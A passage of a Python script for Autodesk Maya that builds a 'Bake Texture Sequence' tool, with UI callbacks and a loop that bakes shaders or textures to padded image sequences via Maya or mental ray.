printString = '\\n\\n////////////////////////////////////////////////////////////////////////////////////////////\\n'\r\n printString += ('// ' + proc + ' details: \\n//\\n')\r\n #startTime = time.time()\r\n\r\n#-------------------------------------------------------------------------------------------------------------\r\n#get current sourceimage dir and auto fill the output dir path\r\n rootDir = cmds.workspace(q=1, rd=1)\r\n workspaces = cmds.workspace(q=1, fr=1)\r\n sourceimageDir = ''\r\n for i in range(len(workspaces)):\r\n if workspaces[i] == 'sourceImages':\r\n sourceimageDir = workspaces[i+1]\r\n break\r\n\r\n if sourceimageDir == 'sourceImages' or sourceimageDir == 'sourceimages':\r\n sourceimageDir = rootDir+sourceimageDir\r\n \r\n cmds.textFieldButtonGrp('bakeTextureSequence_browserFBG', e=1, text=sourceimageDir)\r\n \r\n#-------------------------------------------------------------------------------------------------------------\r\n#print\r\n #endTime = time.time()\r\n #totalTime = endTime - startTime\r\n #printString += '// total time: ' + str(totalTime) + ' seconds\\n'\r\n printString += '////////////////////////////////////////////////////////////////////////////////////////////\\n\\n'\r\n #print printString\r\n #print ('COMPLETE -- check script editor for details...\\n')\r\n\r\n#*************************************************************************************************************\r\n#*end bakeTextureSequence_outputDir()\r\n\r\n'''\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n'''\r\n\r\n#*************************************************************************************************************\r\n#*start bakeTextureSequence_maintain()\r\n\r\ndef bakeTextureSequence_maintain():\r\n proc = 'bakeTextureSequence_maintain'\r\n printString = '\\n\\n////////////////////////////////////////////////////////////////////////////////////////////\\n'\r\n printString += ('// ' + proc + ' details: \\n//\\n')\r\n #startTime = time.time()\r\n\r\n#-------------------------------------------------------------------------------------------------------------\r\n#if maintain is checked update res y\r\n maintain = cmds.checkBox('bakeTextureSequence_maintainCB', q=1, value=1)\r\n if maintain == 1:\r\n resX = cmds.intSliderGrp('bakeTextureSequence_xResFSG', q=1, value=1) \r\n cmds.intSliderGrp('bakeTextureSequence_yResFSG', e=1, value=resX) \r\n\r\n#-------------------------------------------------------------------------------------------------------------\r\n#print\r\n #endTime = time.time()\r\n #totalTime = endTime - startTime\r\n #printString += '// total time: ' + str(totalTime) + ' seconds\\n'\r\n printString += '////////////////////////////////////////////////////////////////////////////////////////////\\n\\n'\r\n #print printString\r\n #print ('COMPLETE -- check script editor for details...\\n')\r\n\r\n#*************************************************************************************************************\r\n#*end bakeTextureSequence_maintain()\r\n\r\n'''\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n'''\r\n\r\n#*************************************************************************************************************\r\n#*start bakeTextureSequence_loadGeo()\r\n\r\ndef bakeTextureSequence_loadGeo():\r\n proc = 'bakeTextureSequence_loadGeo'\r\n printString = '\\n\\n////////////////////////////////////////////////////////////////////////////////////////////\\n'\r\n printString += ('// ' + proc + ' details: \\n//\\n')\r\n #startTime = time.time()\r\n\r\n#-------------------------------------------------------------------------------------------------------------\r\n#load only nurbs or mesh if not already loaded\r\n cmds.textScrollList('bakeTextureSequence_loadGeoTSL', e=1, removeAll=1)\r\n selection = cmds.ls(sl=1, dag=1, type='shape')\r\n currentList=['']\r\n list = cmds.textScrollList('bakeTextureSequence_loadGeoTSL', q=1, ai=1)\r\n if str(list)!= 'None':\r\n currentList+=list\r\n if len(selection)==0:\r\n cmds.warning('nothing selected...select a nurbs/mesh and load')\r\n else:\r\n for each in selection:\r\n nodetype = cmds.nodeType(each)\r\n if nodetype == 'mesh' or nodetype == 'nurbsSurface':\r\n contains = each in currentList\r\n if contains == 0:\r\n cmds.textScrollList('bakeTextureSequence_loadGeoTSL', e=1, append=each)\r\n\r\n#-------------------------------------------------------------------------------------------------------------\r\n#print\r\n #endTime = time.time()\r\n #totalTime = endTime - startTime\r\n #printString += '// total time: ' + str(totalTime) + ' seconds\\n'\r\n printString += '////////////////////////////////////////////////////////////////////////////////////////////\\n\\n'\r\n #print printString\r\n #print ('COMPLETE -- check script editor for details...\\n')\r\n\r\n#*************************************************************************************************************\r\n#*end bakeTextureSequence_loadGeo()\r\n\r\n'''\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n'''\r\n\r\n#*************************************************************************************************************\r\n#*start bakeTextureSequence_loadTexture()\r\n\r\ndef bakeTextureSequence_loadTexture():\r\n proc = 'bakeTextureSequence_loadTexture'\r\n printString = '\\n\\n////////////////////////////////////////////////////////////////////////////////////////////\\n'\r\n printString += ('// ' + proc + ' details: \\n//\\n')\r\n #startTime = time.time()\r\n\r\n#-------------------------------------------------------------------------------------------------------------\r\n#load only nurbs or mesh if not already loaded\r\n cmds.textScrollList('bakeTextureSequence_loadTextureTSL', e=1, removeAll=1)\r\n selection = cmds.ls(sl=1)\r\n if len(selection)==0:\r\n cmds.warning('nothing selected...select a texture/file/ramp/ect and load')\r\n elif len(selection)>1:\r\n cmds.warning('more then one thing selected...select a texture or file node')\r\n else:\r\n nodetype = cmds.nodeType(selection[0])\r\n classification = cmds.getClassification(nodetype)\r\n newMayaFix = classification[0].split(':')\r\n if newMayaFix[1] == 'texture/2d' or newMayaFix[1] == 'shader/surface' or newMayaFix[1] == 'shader/surface/utility' or newMayaFix[1] == 'utility/color' or newMayaFix[1] == 'utility/general' or newMayaFix[1] == 'connection/mentalray/shadow:rendernode/mentalray/material:shader/surface:swatch/mentalRaySwatchGen' or newMayaFix[1] == 'connection/mentalray/photon:connection/mentalray/shadow:rendernode/mentalray/material:shader/surface:swatch/mentalRaySwatchGen':\r\n cmds.textScrollList('bakeTextureSequence_loadTextureTSL', e=1, append=selection[0])\r\n \r\n#-------------------------------------------------------------------------------------------------------------\r\n#print\r\n #endTime = time.time()\r\n #totalTime = endTime - startTime\r\n #printString += '// total time: ' + str(totalTime) + ' seconds\\n'\r\n printString += '////////////////////////////////////////////////////////////////////////////////////////////\\n\\n'\r\n #print printString\r\n #print ('COMPLETE -- check script editor for details...\\n')\r\n\r\n#*************************************************************************************************************\r\n#*end bakeTextureSequence_loadTexture()\r\n\r\n'''\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n'''\r\n\r\n#*************************************************************************************************************\r\n#*start bakeTextureSequence_mayaOrMR()\r\n\r\ndef bakeTextureSequence_mayaOrMR():\r\n proc = 'bakeTextureSequence_mayaOrMR'\r\n printString = '\\n\\n////////////////////////////////////////////////////////////////////////////////////////////\\n'\r\n printString += ('// ' + proc + ' details: \\n//\\n')\r\n #startTime = time.time()\r\n\r\n#-------------------------------------------------------------------------------------------------------------\r\n#update ui based on maya vs mental ray\r\n mayaOrMr = cmds.radioButtonGrp('bakeTextureSequence_bakeTypeRBG', q=1, select=1) \r\n if mayaOrMr == 1:\r\n #cmds.intSliderGrp('bakeTextureSequence_paddingFSG', e=1, en=1, visible=1)\r\n #cmds.textFieldButtonGrp('bakeTextureSequence_browserFBG', e=1, en=1, visible=1)\r\n cmds.deleteUI('bakeTextureSequence_fileFormatOMG', control=1)\r\n cmds.optionMenuGrp('bakeTextureSequence_fileFormatOMG', label='file format: ', columnWidth=(2, 80), p='bakeTextureSequence_bakeOptionsForm')\r\n cmds.menuItem('bakeTextureSequence_fileFormatJpgMI', label='JEPG (jpg)')\r\n cmds.menuItem('bakeTextureSequence_fileFormatIffMI', label='Maya IFF (iff)')\r\n cmds.menuItem('bakeTextureSequence_fileFormatPsdMI', label='PSD (psd)')\r\n cmds.menuItem('bakeTextureSequence_fileFormatSgiMI', label='SGI (sgi)')\r\n cmds.menuItem('bakeTextureSequence_fileFormatTgaMI', label='Targa (tga)')\r\n cmds.menuItem('bakeTextureSequence_fileFormatTifMI', label='Tiff (tif)') \r\n elif mayaOrMr == 2:\r\n #cmds.intSliderGrp('bakeTextureSequence_paddingFSG', e=1, en=0, visible=0)\r\n #cmds.textFieldButtonGrp('bakeTextureSequence_browserFBG', e=1, en=0, visible=0)\r\n cmds.deleteUI('bakeTextureSequence_fileFormatOMG', control=1)\r\n cmds.optionMenuGrp('bakeTextureSequence_fileFormatOMG', label='file format: ', columnWidth=(2, 80), p='bakeTextureSequence_bakeOptionsForm')\r\n cmds.menuItem('bakeTextureSequence_fileFormatJpgMI', label='JEPG (jpg)')\r\n cmds.menuItem('bakeTextureSequence_fileFormatIffMI', label='Maya IFF (iff)')\r\n cmds.menuItem('bakeTextureSequence_fileFormatTgaMI', label='Targa (tga)')\r\n cmds.menuItem('bakeTextureSequence_fileFormatTifMI', label='Tiff (tif)') \r\n \r\n cmds.formLayout('bakeTextureSequence_bakeOptionsForm', e=1, \r\n attachForm=[\r\n ('bakeTextureSequence_bakeTypeRBG', 'top', 8),\r\n ('bakeTextureSequence_bakeTypeRBG', 'left', 0), \r\n ('bakeTextureSequence_maintainCB', 'left', 95),\r\n ('bakeTextureSequence_xResFSG', 'left', 0),\r\n ('bakeTextureSequence_xResFSG', 'right', 10),\r\n ('bakeTextureSequence_yResFSG', 'left', 0),\r\n ('bakeTextureSequence_yResFSG', 'right', 10),\r\n ('bakeTextureSequence_fileFormatOMG', 'left', 0),\r\n ('bakeTextureSequence_fileFormatOMG', 'right', 10),\r\n ('bakeTextureSequence_browserFBG', 'left', 0),\r\n ('bakeTextureSequence_browserFBG', 'right', 5),\r\n ('bakeTextureSequence_paddingFSG', 'left', 0),\r\n ('bakeTextureSequence_paddingFSG', 'right', 10),\r\n ('bakeTextureSequence_prefixTFG', 'left', 0),\r\n ('bakeTextureSequence_renameCB', 'left', 95),\r\n ('bakeTextureSequence_renameTFG', 'left', 0)\r\n ],\r\n attachControl=[\r\n ('bakeTextureSequence_maintainCB', 'top', 15, 'bakeTextureSequence_bakeTypeRBG'),\r\n ('bakeTextureSequence_xResFSG', 'top', 3, 'bakeTextureSequence_maintainCB'),\r\n ('bakeTextureSequence_yResFSG', 'top', 1, 'bakeTextureSequence_xResFSG'),\r\n ('bakeTextureSequence_fileFormatOMG', 'top', 5, 'bakeTextureSequence_yResFSG'),\r\n ('bakeTextureSequence_paddingFSG', 'top', 5, 'bakeTextureSequence_fileFormatOMG'),\r\n ('bakeTextureSequence_renameCB', 'top', 5, 'bakeTextureSequence_paddingFSG'), \r\n ('bakeTextureSequence_renameTFG', 'top', 5, 'bakeTextureSequence_renameCB'), \r\n ('bakeTextureSequence_prefixTFG', 'top', 5, 'bakeTextureSequence_renameTFG'), \r\n ('bakeTextureSequence_browserFBG', 'top', 5, 'bakeTextureSequence_prefixTFG') \r\n ])\r\n\r\n#-------------------------------------------------------------------------------------------------------------\r\n#print\r\n #endTime = time.time()\r\n #totalTime = endTime - startTime\r\n #printString += '// total time: ' + str(totalTime) + ' seconds\\n'\r\n printString += '////////////////////////////////////////////////////////////////////////////////////////////\\n\\n'\r\n #print printString\r\n #print ('COMPLETE -- check script editor for details...\\n')\r\n\r\n#*************************************************************************************************************\r\n#*end bakeTextureSequence_mayaOrMR()\r\n\r\n'''\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n'''\r\n\r\n#*************************************************************************************************************\r\n#*start bakeTextureSequence_bake()\r\n\r\ndef bakeTextureSequence_bake():\r\n proc = 'bakeTextureSequence_bake'\r\n printString = '\\n\\n////////////////////////////////////////////////////////////////////////////////////////////\\n'\r\n printString += ('// ' + proc + ' details: \\n//\\n')\r\n startTime = time.time()\r\n gMainProgressBar = maya.mel.eval('$tmp = $gMainProgressBar')\r\n isCancelled=0\r\n \r\n#-------------------------------------------------------------------------------------------------------------\r\n#bake the texture/shader\r\n isThereGeo = cmds.textScrollList('bakeTextureSequence_loadGeoTSL', q=1, numberOfItems=1)\r\n isThereTexture = cmds.textScrollList('bakeTextureSequence_loadTextureTSL', q=1, numberOfItems=1)\r\n\r\n if isThereGeo == 0 or isThereTexture == 0:\r\n cmds.error('both geo and a texture/shader must be loaded first')\r\n\r\n geometry = cmds.textScrollList('bakeTextureSequence_loadGeoTSL', q=1, ai=1)\r\n shader = cmds.textScrollList('bakeTextureSequence_loadTextureTSL', q=1, ai=1)\r\n\r\n startFrame = cmds.intField('bakeTextureSequence_startIF', q=1, value=1)\r\n endFrame = cmds.intField('bakeTextureSequence_endIF', q=1, value=1)\r\n byFrame = cmds.intField('bakeTextureSequence_byFrameIF', q=1, value=1)\r\n currentFrameOnly = cmds.checkBox('bakeTextureSequence_currentFrameCB', q=1, value=1)\r\n\r\n bakeType = cmds.radioButtonGrp('bakeTextureSequence_bakeTypeRBG', q=1, select=1) \r\n xRes = cmds.intSliderGrp('bakeTextureSequence_xResFSG', q=1, value=1) \r\n yRes = cmds.intSliderGrp('bakeTextureSequence_yResFSG', q=1, value=1) \r\n padding = cmds.intSliderGrp('bakeTextureSequence_paddingFSG', q=1, value=1) \r\n prefix = cmds.textFieldGrp('bakeTextureSequence_prefixTFG', q=1, text=1)\r\n doRename = cmds.checkBox('bakeTextureSequence_renameCB', q=1, value=1)\r\n rename = cmds.textFieldGrp('bakeTextureSequence_renameTFG', q=1, text=1) \r\n \r\n formatDic={'JEPG (jpg)':'jpg','Maya IFF (iff)':'maya', 'PSD (psd)':'psd', 'SGI (sgi)':'sgi', 'Targa (tga)':'tga', 'Tiff (tif)':'tif'}\r\n formatDicMR={'JEPG (jpg)':3,'Maya IFF (iff)':2, 'Targa (tga)':6, 'Tiff (tif)':1}\r\n fileFormats = cmds.optionMenuGrp('bakeTextureSequence_fileFormatOMG', q=1, value=1)\r\n fileFormat = formatDic[fileFormats]\r\n fileFormatMR = formatDicMR[fileFormats]\r\n\r\n formatExt = fileFormat\r\n if formatExt == 'maya':\r\n formatExt = 'iff'\r\n\r\n outputDir = cmds.textFieldButtonGrp('bakeTextureSequence_browserFBG', q=1, text=1)\r\n \r\n bakingText = 'Baking Texture/Shader...(Press ESC To Cancel)'\r\n \r\n#if mr...open options ui and set bases on bake ui\r\n if bakeType == 2:\r\n bakingText = 'Baking Texture/Shader...(ESC will NOT Cancel due to mental ray process)'\r\n \r\n if cmds.window('OptionBoxWindow', exists=1)==1:\r\n cmds.deleteUI('OptionBoxWindow')\r\n \r\n maya.mel.eval('mrBakeToVertices 1')\r\n\r\n parent = cmds.formLayout('prelightMentalRayOptions')\r\n commandName = 'mrBake'\r\n callback = (commandName + 'Callback')\r\n command = (callback + ' ' + parent + ' 1')\r\n\r\n #reset default\r\n maya.mel.eval(\"mrBakeSetup \" + parent + \" 1;\")\r\n\r\n #set ui \r\n cmds.optionMenuGrp('textureBakeColorModeCtrl', e=1, select=1)\r\n maya.mel.eval('textureBakeSetOverrideCtrlChanged(\"textureBakeColorMode\");')\r\n\r\n cmds.checkBoxGrp('useBakeSetOverrideCtrl', e=1, v1=1)\r\n maya.mel.eval('useBakeSetOverrideChanged(\"' + parent + '\" );')\r\n\r\n cmds.textFieldGrp('prefixCtrl', e=1, text=prefix)\r\n maya.mel.eval('textureBakeSetOverrideCtrlChanged(\"prefix\");')\r\n\r\n cmds.intSliderGrp('xResolutionCtrl', e=1, value=xRes)\r\n maya.mel.eval('textureBakeSetOverrideCtrlChanged(\"xResolution\");')\r\n\r\n cmds.intSliderGrp('yResolutionCtrl', e=1, value=yRes)\r\n maya.mel.eval('textureBakeSetOverrideCtrlChanged(\"yResolution\");')\r\n\r\n cmds.optionMenuGrp('fileFormatCtrl', e=1, select=fileFormatMR)\r\n maya.mel.eval('textureBakeSetOverrideCtrlChanged(\"fileFormat\");')\r\n\r\n#progress bar\r\n progressAmount = int(endFrame-startFrame)\r\n if currentFrameOnly == 1:\r\n progressAmount=1\r\n cmds.progressBar('bakeTextureSequence_progBar', e=1, maxValue=progressAmount)\r\n cmds.text('bakeTextureSequence_cancelTxt', e=1, label=bakingText) \r\n cmds.progressBar('bakeTextureSequence_progBar', e=1, progress=0)\r\n cmds.progressBar(gMainProgressBar, edit=1, beginProgress=1, isInterruptable=1, status='Baking Texture/Shader......', maxValue=progressAmount)\r\n \r\n#current frame only\r\n if currentFrameOnly == 1:\r\n numberExt = ''\r\n currentFrame = int(cmds.currentTime(q=1)) \r\n currentFrameSize = len(str(currentFrame))\r\n negative = 0\r\n if currentFrame < 0:\r\n currentFrameStr = str(currentFrame)\r\n currentFrameStr = currentFrameStr.replace('-', '')\r\n currentFrame = int(currentFrameStr)\r\n currentFrameSize = len(str(currentFrame))\r\n negative = 1\r\n \r\n if currentFrameSize < padding:\r\n pad = padding-currentFrameSize\r\n i = 1\r\n while i <= pad:\r\n numberExt += '0'\r\n i+=1\r\n \r\n numberExt += str(currentFrame)\r\n if negative == 1:\r\n numberExt = '-' + numberExt\r\n \r\n #maya\r\n if bakeType == 1:\r\n for eachGeo in geometry:\r\n geoCleanName = eachGeo.replace(':', '_')\r\n shaderCleanName = shader[0]\r\n shaderCleanName = shaderCleanName.replace(':', '_')\r\n \r\n imageName = (prefix + geoCleanName + '_' + shaderCleanName + '.' + numberExt + '.' + formatExt)\r\n if doRename == 1:\r\n imageName = (prefix + rename + '.' + numberExt + '.' + formatExt)\r\n \r\n imageDir = (outputDir + '/' + imageName)\r\n file = cmds.convertSolidTx(shader, eachGeo, antiAlias=0, bm=1, fts=1, sp=0, sh=0, alpha=0, doubleSided=0, componentRange=0, resolutionX=xRes, resolutionY=xRes, fileFormat=fileFormat, fileImageName=imageDir)\r\n cmds.delete(file)\r\n #mental ray\r\n else:\r\n for eachGeo in geometry:\r\n geoCleanName = eachGeo.replace(':', '_')\r\n shaderCleanName = shader[0]\r\n shaderCleanName = shaderCleanName.replace(':', '_')\r\n \r\n mrDir = maya.mel.eval('miGetRootDir')\r\n mrDir += 'lightMap/'\r\n currentFolderFiles = []\r\n currentFolderFiles = cmds.getFileList(folder=mrDir)\r\n \r\n cmds.select(eachGeo, shader[0], r=1)\r\n maya.mel.eval(command)\r\n cmds.undo() \r\n\r\n newFolderFiles = cmds.getFileList(folder=mrDir)\r\n newFileSet = set(newFolderFiles) - set(currentFolderFiles)\r\n newFile = list(newFileSet) \r\n if '.mayaSwatches' in newFile:\r\n newFile.remove('.mayaSwatches') \r\n \r\n if len(newFile) > 0:\r\n newOutputDir = mrDir + newFile[0]\r\n renameNewFile = newFile[0].split('.')\r\n imageName = (prefix + geoCleanName + '_' + shaderCleanName + '.' + numberExt + '.' + renameNewFile[1])\r\n if doRename == 1:\r\n imageName = (prefix + rename + '.' + numberExt + '.' + renameNewFile[1])\r\n \r\n imageDir = (outputDir + '/' + imageName)\r\n folderExists = cmds.file(outputDir, q=1, ex=1)\r\n if folderExists==1:\r\n cmds.sysFile(newOutputDir, rename=imageDir)\r\n else:\r\n print(newOutputDir + ' doesnt exist')\r\n\r\n #progress bar \r\n cmds.progressBar('bakeTextureSequence_progBar', e=1, step=1)\r\n cmds.progressBar(gMainProgressBar, edit=1, step=1) \r\n#sequence \r\n else:\r\n for t in range(startFrame,endFrame+1,byFrame):\r\n numberExt = ''\r\n cmds.currentTime(t, e=1)\r\n currentFrame = t\r\n currentFrameSize = len(str(currentFrame))\r\n negative = 0\r\n \r\n if currentFrame < 0:\r\n currentFrameStr = str(currentFrame)\r\n currentFrameStr = currentFrameStr.replace('-', '')\r\n currentFrame = int(currentFrameStr)\r\n currentFrameSize = len(str(currentFrame))\r\n negative = 1\r\n \r\n if currentFrameSize < padding:\r\n pad = padding-currentFrameSize\r\n i = 1\r\n while i <= pad:\r\n numberExt += '0'\r\n i+=1\r\n \r\n numberExt += str(currentFrame)\r\n if negative == 1:\r\n numberExt = '-' + numberExt\r\n \r\n #maya\r\n if bakeType == 1:\r\n for eachGeo in geometry:\r\n geoCleanName = eachGeo.replace(':', '_')\r\n shaderCleanName = shader[0]\r\n shaderCleanName = shaderCleanName.replace(':', '_')\r\n \r\n imageName = (prefix + geoCleanName + '_' + shaderCleanName + '.' + numberExt + '.' + formatExt)\r\n if doRename == 1:\r\n imageName = (prefix + rename + '.' + numberExt + '.' + formatExt)\r\n \r\n imageDir = (outputDir + '/' + imageName)\r\n file = cmds.convertSolidTx(shader, eachGeo, antiAlias=0, bm=1, fts=1, sp=0, sh=0, alpha=0, doubleSided=0, componentRange=0, resolutionX=xRes, resolutionY=xRes, fileFormat=fileFormat, fileImageName=imageDir)\r\n cmds.delete(file)\r\n #mental ray\r\n else:\r\n for eachGeo in geometry:\r\n geoCleanName = eachGeo.replace(':', '_')\r\n shaderCleanName = shader[0]\r\n shaderCleanName = shaderCleanName.replace(':', '_')\r\n \r\n mrDir = maya.mel.eval('miGetRootDir')\r\n mrDir += 'lightMap/'\r\n currentFolderFiles = []\r\n currentFolderFiles = cmds.getFileList(folder=mrDir)\r\n \r\n cmds.select(eachGeo, shader[0], r=1)\r\n maya.mel.eval(command)\r\n cmds.undo() \r\n\r\n newFolderFiles = cmds.getFileList(folder=mrDir)\r\n newFileSet = set(newFolderFiles) - set(currentFolderFiles)\r\n newFile = list(newFileSet) \r\n if '.mayaSwatches' in newFile:\r\n newFile.remove('.mayaSwatches') \r\n \r\n if len(newFile) > 0:\r\n newOutputDir = mrDir + newFile[0]\r\n renameNewFile = newFile[0].split('.')\r\n imageName = (prefix + geoCleanName + '_' + shaderCleanName + '.' + numberExt + '.' + renameNewFile[1])\r\n if doRename == 1:\r\n imageName = (prefix + rename + '.' + numberExt + '.' + renameNewFile[1])\r\n \r\n imageDir = (outputDir + '/' + imageName)\r\n folderExists = cmds.file(outputDir, q=1, ex=1)\r\n if folderExists==1:\r\n cmds.sysFile(newOutputDir, rename=imageDir)\r\n else:\r\n print(newOutputDir + ' doesnt exist')\r\n \r\n #progress bar update or cancel\r\n if cmds.progressBar(gMainProgressBar, q=1, isCancelled=1):\r\n isCancelled=1\r\n cmds.progressBar('bakeTextureSequence_progBar', e=1, progress=0)\r\n cmds.text('bakeTextureSequence_cancelTxt', e=1, label='') \r\n break\r\n\r\n cmds.progressBar('bakeTextureSequence_progBar', e=1, step=1)\r\n cmds.progressBar(gMainProgressBar, edit=1, step=1) \r\n\r\n#timer\r\n endTime = time.time()\r\n totalTime = (endTime - startTime)\r\n timeStr = ' seconds'\r\n if totalTime > 60:\r\n totalTime /= 60\r\n timeStr = ' minutes'\r\n\r\n if isCancelled == 0: \r\n cmds.text('bakeTextureSequence_cancelTxt', e=1, label='Total Time: ' + str(totalTime) + timeStr)\r\n else: \r\n cmds.text('bakeTextureSequence_cancelTxt', e=1, label='Cancelled -- Total Time: ' + str(totalTime) + timeStr)\r\n \r\n#progress bar end\r\n cmds.progressBar('bakeTextureSequence_progBar', e=1, progress=0)\r\n cmds.progressBar(gMainProgressBar, edit=1, endProgress=1)\r\n \r\n#close mr options win if open\r\n if cmds.window('OptionBoxWindow', exists=1)==1:\r\n cmds.deleteUI('OptionBoxWindow') \r\n\r\n#-------------------------------------------------------------------------------------------------------------\r\n#print\r\n #endTime = time.time()\r\n #totalTime = endTime - startTime\r\n #printString += '// total time: ' + str(totalTime) + ' seconds\\n'\r\n printString += '////////////////////////////////////////////////////////////////////////////////////////////\\n\\n'\r\n #print printString\r\n #print ('COMPLETE -- check script editor for details...\\n')\r\n\r\n#*************************************************************************************************************\r\n#*end bakeTextureSequence_bake()\r\n\r\n'''\r\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n'''\r\n\r\n#*************************************************************************************************************\r\n#*start bakeTextureSequence()\r\n\r\ndef bakeTextureSequence():\r\n proc = 'bakeTextureSequence'\r\n printString = '\\n\\n////////////////////////////////////////////////////////////////////////////////////////////\\n'\r\n printString += ('// ' + proc + ' details: \\n//\\n')\r\n #startTime = time.time()\r\n\r\n#-------------------------------------------------------------------------------------------------------------\r\n#window creation\r\n if cmds.window('bakeTextureSequence_win', exists=1)==1:\r\n cmds.deleteUI('bakeTextureSequence_win')\r\n\r\n cmds.window('bakeTextureSequence_win', title=\"Bake Texture Sequence -- Maya or Mental Ray\", resizeToFitChildren=1, maximizeButton=0, sizeable=1)\r\n cmds.formLayout('bakeTextureSequence_mainForm') \r\n cmds.columnLayout('bakeTextureSequence_mainCol', adj=1, p='bakeTextureSequence_mainForm')\r\n cmds.progressBar('bakeTextureSequence_progBar', maxValue=100, h=10, p='bakeTextureSequence_mainForm')\r\n cmds.text('bakeTextureSequence_cancelTxt', font='tinyBoldLabelFont', label='', align='center', w=60, p='bakeTextureSequence_mainForm') \r\n cmds.button('bakeTextureSequence_executeButton', l='Bake', c='bakeTextureSequence_bake()', h=10, p='bakeTextureSequence_mainForm') \r\n\r\n#load geo and texture frameLayout \r\n cmds.frameLayout('bakeTextureSequence_loadGeoFrame', l='Load Geo & Texture', marginHeight=5, collapsable=1, collapse=0, borderStyle='etchedIn', p='bakeTextureSequence_mainCol')\r\n cmds.formLayout('bakeTextureSequence_loadGeoForm', p='bakeTextureSequence_loadGeoFrame')\r\n cmds.textScrollList('bakeTextureSequence_loadGeoTSL', numberOfRows=6, ann='double-click to remove or hit the delete key', dkc='remove = cmds.textScrollList(\\'bakeTextureSequence_loadGeoTSL\\', q=1, selectItem=1);cmds.textScrollList(\\'bakeTextureSequence_loadGeoTSL\\', e=1, ri=remove)', dcc='remove = cmds.textScrollList(\\'bakeTextureSequence_loadGeoTSL\\', q=1, selectItem=1);cmds.textScrollList(\\'bakeTextureSequence_loadGeoTSL\\', e=1, ri=remove)', p='bakeTextureSequence_loadGeoForm')\r\n cmds.textScrollList('bakeTextureSequence_loadTextureTSL', numberOfRows=6, ann='double-click to remove or hit the delete key', dkc='remove = cmds.textScrollList(\\'bakeTextureSequence_loadTextureTSL\\', q=1, selectItem=1);cmds.textScrollList(\\'bakeTextureSequence_loadTextureTSL\\', e=1, ri=remove)', dcc='remove = cmds.textScrollList(\\'bakeTextureSequence_loadTextureTSL\\', q=1, selectItem=1);cmds.textScrollList(\\'bakeTextureSequence_loadTextureTSL\\', e=1, ri=remove)', p='bakeTextureSequence_loadGeoForm')\r\n cmds.button('bakeTextureSequence_loadGeoButton', l='load geo', w=100, h=30, c='bakeTextureSequence_loadGeo()', p='bakeTextureSequence_loadGeoForm')\r\n cmds.button('bakeTextureSequence_loadTextureButton', l='load texture/shader', w=80, h=30, c='bakeTextureSequence_loadTexture()', p='bakeTextureSequence_loadGeoForm')\r\n \r\n cmds.formLayout('bakeTextureSequence_loadGeoForm', e=1, \r\n attachForm=[\r\n ('bakeTextureSequence_loadGeoButton', 'top', 5),\r\n ('bakeTextureSequence_loadGeoButton', 'left', 20),\r\n ('bakeTextureSequence_loadTextureButton', 'top', 5),\r\n ('bakeTextureSequence_loadTextureButton', 'right', 20),\r\n ('bakeTextureSequence_loadGeoTSL', 'bottom', 5),\r\n ('bakeTextureSequence_loadGeoTSL', 'left', 20),\r\n ('bakeTextureSequence_loadTextureTSL', 'bottom', 5),\r\n ('bakeTextureSequence_loadTextureTSL', 'right', 20)\r\n ],\r\n \r\n attachPosition=[\r\n ('bakeTextureSequence_loadGeoButton', 'right', 0, 48),\r\n ('bakeTextureSequence_loadTextureButton', 'left', 0, 52),\r\n ('bakeTextureSequence_loadGeoTSL', 'right', 0, 48),\r\n ('bakeTextureSequence_loadTextureTSL', 'left', 0, 52) \r\n ],\r\n attachControl=[ \r\n ('bakeTextureSequence_loadGeoTSL', 'top', 5, 'bakeTextureSequence_loadGeoButton'),\r\n ('bakeTextureSequence_loadTextureTSL', 'top', 5, 'bakeTextureSequence_loadTextureButton')\r\n ])\r\n\r\n#frameRange frameLayout \r\n cmds.frameLayout('bakeTextureSequence_frameRangeFrame', l='Frame Range Options', marginHeight=5, collapsable=1, collapse=0, borderStyle='etchedIn', p='bakeTextureSequence_mainCol')\r\n cmds.formLayout('bakeTextureSequence_frameRangeForm', p='bakeTextureSequence_frameRangeFrame')\r\n cmds.button('bakeTextureSequence_timeButton', l='time', w=35, h=35, c='cmds.intField(\\'bakeTextureSequence_startIF\\', e=1, value=cmds.playbackOptions(q=1, min=1));cmds.intField(\\'bakeTextureSequence_endIF\\', e=1, value=cmds.playbackOptions(q=1, max=1))', p='bakeTextureSequence_frameRangeForm')\r\n cmds.text('bakeTextureSequence_startFrameTxt', l='Start Frame:', w=65, p='bakeTextureSequence_frameRangeForm')\r\n cmds.text('bakeTextureSequence_endFrameTxt', l='End Frame:', w=65, p='bakeTextureSequence_frameRangeForm')\r\n cmds.intField('bakeTextureSequence_startIF', value=cmds.playbackOptions(q=1, min=1), editable=1, w=60, p='bakeTextureSequence_frameRangeForm')\r\n cmds.intField('bakeTextureSequence_endIF', value=cmds.playbackOptions(q=1, max=1), editable=1, w=60, p='bakeTextureSequence_frameRangeForm')\r\n cmds.checkBox('bakeTextureSequence_currentFrameCB', l='Current Frame Only', value=0, align='left', p='bakeTextureSequence_frameRangeForm')\r\n cmds.text('bakeTextureSequence_byFrameTxt', l='By Frame:', w=65, p='bakeTextureSequence_frameRangeForm')\r\n cmds.intField('bakeTextureSequence_byFrameIF', value=1, editable=1, w=60, p='bakeTextureSequence_frameRangeForm')\r\n\r\n cmds.formLayout('bakeTextureSequence_frameRangeForm', e=1,\r\n 